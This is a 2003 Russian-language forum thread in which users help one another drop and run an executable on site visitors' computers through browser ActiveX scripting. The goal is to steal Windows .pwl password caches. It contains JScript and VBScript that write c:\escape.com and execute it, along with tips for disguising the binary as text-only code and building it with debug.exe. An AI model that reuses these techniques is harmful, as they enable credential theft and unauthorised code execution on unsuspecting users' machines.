Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
Нужна помощь 18.06.03 17:44 Число просмотров: 2341
Автор: :-) <:-)> Статус: Elderman Отредактировано 18.06.03 17:53 Количество правок: 1
|
...skipped
> Я написал маленькую прогу на ассемблере, которая превращала > pwl'ку в escape-строку (т.е. просто записывала байты в виде > \xhh) и сохраняла в неприметном файле c:\001.tmp (А потом > хотел просто слить с компа юзера, когда он второй раз > зайдет на сайт) Потом я попытался залить эту прогу через > броузер себе на комп и выполнить ее: > > content='_код проги_'; > f_obj=new ActiveXObject('Scripting.FileSystemObject'); > fp=f_obj.CreateTextFile('c:\\escape.com',false); > fp.Write(content); > fp.Close(); > wsh.Run('c:\\escape.com');
Тут можно вместо JScript использовать VBScript. В нем есть функция chr:
content=chr(2)+chr(5)+chr(255)
set f_obj=CreateObject("Scripting.FileSystemObject")
set fp=f_obj.CreateTextFile("c:\escape.com",false)
fp.Write(content)
fp.Close()
Про другие способы:
Если уж ты пишешь программку на ассемблере в виде маленького .com-файла, то пиши ее так, чтобы она содержала только текстовые символы.
Есть конвертеры, которые преобразуют .com-файл таким образом (filehide например).
Еще двоичный файл можно создать через debug.exe.
В текстовый файл пишешь debug-скрипт для создания своего файла, потом даешь команду
debug <myscript.dbg
|
|
|